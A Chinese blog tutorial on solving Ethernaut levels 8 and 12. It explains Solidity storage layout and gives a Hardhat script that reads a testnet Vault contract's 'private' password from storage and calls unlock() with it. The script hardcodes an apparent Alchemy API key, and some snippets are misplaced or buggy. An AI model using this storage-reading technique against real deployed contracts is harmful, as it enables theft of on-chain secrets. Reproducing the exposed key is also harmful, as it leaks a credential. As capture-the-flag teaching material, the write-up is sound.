区块链骇客第四讲-破解私有变量

前情提示:本篇文章较为硬核,需读者有一定开发基础。

本篇文章将会以ethernaut中的第8和第12个例子来剖析智能合约中的私有变量。

首先给大家留个疑问:私有变量真的意味着私密不可窥探吗?

答案可以先告诉大家:当然不是!

Everything is public on the blockchain!

在区块链中,任何东西实际上都是公开的!没有什么东西使真正私有的,即使一个变量是privateinternal的。

📕1. 挑战 ?

  • 这是ethernaut中的第8个例子~

  • 现在把需求交给你:将合约解锁,即让 locked  = false。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

📕2. 思考及必要准备

初步思路

  1. 合约改变 locked 的地方只有一个,那就是调用unlock()函数,通过password判断后修改变量;
  2. 那么一定绕不开的问题就是:如何破解password私有变量?

可以看到,思路极其简单,但同样的也会让人感到困惑。私有变量怎样才能破解呢?

先别着急,我们做一些必要的了解!

状态变量在储存中的布局

合约的状态变量是以一种紧凑的方式存储在区块链中,有时候多个值会使用同一个存储槽。除了动态大小的数组和映射哈希表,数据的存储方式是从位置 0 开始连续放置在存储storage中的。

并且很重要的一点就是,每一个变量都能根据它的类型来确定字节大小;

🐟存储插槽

存储大小少于32字节的多个变量将会被打包到一个存储插槽中,并且规则如下:

  • 存储插槽的第一个变量是所有变量中占字节最小的,通常是bool类型的变量;

    for example

    1
    (bool success1, ) = payable(attackedContract).call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
  • 值类型只使用存储它们所需的字节数;

  • 如果一个值类型在一个存储槽的剩余部分放不下,它将被存储在下一个存储槽;

  • 结构体(struct) 和数组数据(array)会开启一个新存储槽;

  • constantimmutable变量将不占用存储槽,因为它们将在编译时或部署时直接在代 码中被替换为值;

注:对于使用继承的合约,状态变量的排序将会从最基类合约开始确定,来自不同合约的状态变量将会共享一个存储插槽;结构体和数组中的成员变量会存储在一起,就像它们单独声明时一样地存储。

🐟映射和动态数组(深入理解)

由于映射和动态数组不可预知大小,不能在状态变量之间存储它们。

相反,它们自身根据以上规则仅占用32个字节,然后他们包含的元素的存储槽的位置,是通过Keccak-256哈希计算来确定的!

假设映射和动态数组根据上述存储规则最终可确定某个 位置p

🌏 对于动态数组(array)

  1. 插槽p会存储数组中元素的数量(字节数组和字符串除外);

  2. 数组的元素将会从keccak256(p)开始,布局方式与静态大小的数组相同,一个元素接着一个元素,如果元素的长度不超过16字节,将会共享存储插槽;

  3. 动态数组会递归地应用这一规则;

for example

1
2
3
4
5
6
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract testArray{
uint24[][] private data;

}

如何确定data[i][j]元素的位置 ?(假设动态数组data本身存储在插槽p的位置)

data[i][j]的槽位将是 keccak256(keccak256(p) + i) + floor(j/floor(256/24))

并且可以得到槽数据中的元素内容:v >> ((j%floor(256/24))*24)) & type(uint24).max

🌏对于映射(mapping)

  1. 插槽p将不会被使用(即空),但它仍是有存在必要的,以确保两个彼此挨着映射;

  2. 映射中的键k所对应的槽会位于keccak256(h(k).p),其中.是连接符,h是一个函数;

  3. 根据键的类型h会对应不同的占槽(类似于定态薛定谔方程中的∇变量)

    a. 值类型,h与在内存中存储值的方式相同的方式将值填充为32字节;

    b. 字符串和字节数组,h(k) 只是未填充的数据。

for example

1
2
3
4
5
6
7
8
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

contract C {
struct S { uint16 a; uint16 b; uint256 c; }
uint x;
mapping(uint => mapping(uint => S)) data;
}

如何确定data[4][9].c的位置?

  1. 映射本身的位置是1(前面有32字节变量x);
  2. 因此data[4]存储在keccak256(uint256(4).uint256(1))槽位;
  3. 然而data[4]的类型又是一个映射,所以data[4][9]的数据开始于槽位keccak256(uint256(9).keccak256(uint256(4).uint(1)))
  4. 结构S的成员c中的槽位偏移是1(因为a和b被装在一个槽位中);
  5. 得到data[4][9].c的插槽位置是keccak256(uint256(9).keccak256(uint256(4).uint256(1))) + 1

🎇恭喜你顺利通过了这两个例子的学习!!

相信你对solidity变量的存储已经有了一定的了解,如果不怎么了解也没关系,下面给出一张对应表!

⭐solidity基本类型与对应字节

类型 bit数 字节数
bool 8 1
address 160 20
string 8/16/24 1/2/3(单字)
uint8 8 1
uint16 16 2
uint256 256 32
bytes4 32 4
bytes16 128 16
以此类推…

对于string类型所占的字节数,有兴趣可以用这个例子去实践下

1
2
3
4
5
6
7
8
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.0;

contract testLength{

function getStrlen(string memory _str) public pure returns(uint256){
return bytes(_str).length;
}

🚀3. 实战

回到上文留下的挑战

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

根据上文规则

  • bool locked将占据插槽0,因为bool类型只需要一个字节的存储空间,但因为下一个状态变量password需要整个32字节的槽位,因此不能够把lockedpassword 打包在一起;
  • bytes32 password将占据插槽1,顾名思义,bytes32类型需要整个32字节。

💎破解脚本

破译此合约,使用hardhat测试脚本是仅有的方式之一,同时也是最便捷的!

如果没有hardhat基础的同学,理解原理即可。

想学习hardhat安全帽的同学,可以访问我的个人博客联系我。

注意看代码注释!

attackPrivate.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const {ethers} = require("hardhat");
const APIKEY = "lty9DXUZ1zkY5nPDY-WyhvEJAejxA6lp"
const utils = ethers.utils;
const BigNumber = ethers.BigNumber;
const MaxUint256 = ethers.constants.MaxUint256

//这是我们要破解的合约地址
const ethernaut8_address = "0xBd0B4AF4A8A56f2B8CF4e2c76Fe4bD55579cb3D6"
//合约abi
const ethernaut8_abi = require("./8abi.json")
//使用alchemy作为测试节点
const provider = new ethers.providers.AlchemyProvider("maticmum",APIKEY);


describe("attack the private password",()=>{

it("the eighth example of ethernaut",async()=>{
//调用合约需要singer
const [singer] = await ethers.getSigners();
console.log(singer.address);
//得到合约私有变量
//在之前的学习中,我们推出了password的所在槽位数为1,因此传入1
const password = await getShortStr(1,ethernaut8_address);
console.log("the password is:\n",password);

//实例化合约实例
const instance8 = new ethers.Contract(ethernaut8_address,ethernaut8_abi,provider);

//测试账户调用合约unlock方法并传入破解变量
await instance8.connect(singer).unlock(password)

//查看合约是否解锁成功
const result = utils.toUtf8String(await instance8.locked);
console.log("the contract lock is",result);


})
})


//获取槽位数据方法函数
async function getShortStr(slot, contractAddress) {
const paddedSlot = utils.hexZeroPad(slot, 32);
//获取该槽位最原始数据
const storageLocation = await provider.getStorageAt(contractAddress, paddedSlot);

return storageLocation;
}

⭐破解代码环境配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//配置脚本
const e = require("./test/export")
require("@nomicfoundation/hardhat-toolbox");

module.exports = {
solidity: "0.8.0",

networks: {
//马蹄链测试网
mumbai:{
url:e.MUMBAI_URL,
accounts: [`0x${e.PRIVATE_KEY}`]
}
}
};

⭐运行脚本命令

1
npx hardhat test --network mumbai

🚀破解私有变量成功

ethernaut通关截图

👨‍💻深度练习(课后作业)

这是ethernaut的第12个例子~

现在把需求交给你:解锁该合约!!即让 locked = false。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

这道练习比前面那道有含金量多了,需要答案可以访问我的个人博客来联系我!

这是我通过的交易hash(马蹄链测试网mumbai): 0xb5a6262202503ef74de1a98a870513fb8732a01bf23835db8f5ec39f71927866

参考文献

ethers.js-Strings-Bytes32String

Solidity Storage Variables with Ethers.js

状态变量在储存中的布局 — Solidity中文文档

Ethernaut 题库闯关 #8 — Vault (learnblockchain.cn)

Ethernaut 题库闯关 #12 — Privacy(learnblockchain.cn)


区块链骇客第四讲-破解私有变量
http://nangbowan.github.io/2022/11/07/区块链骇客第四讲-破解私有变量/
作者
Science_Jun
发布于
2022年11月7日
许可协议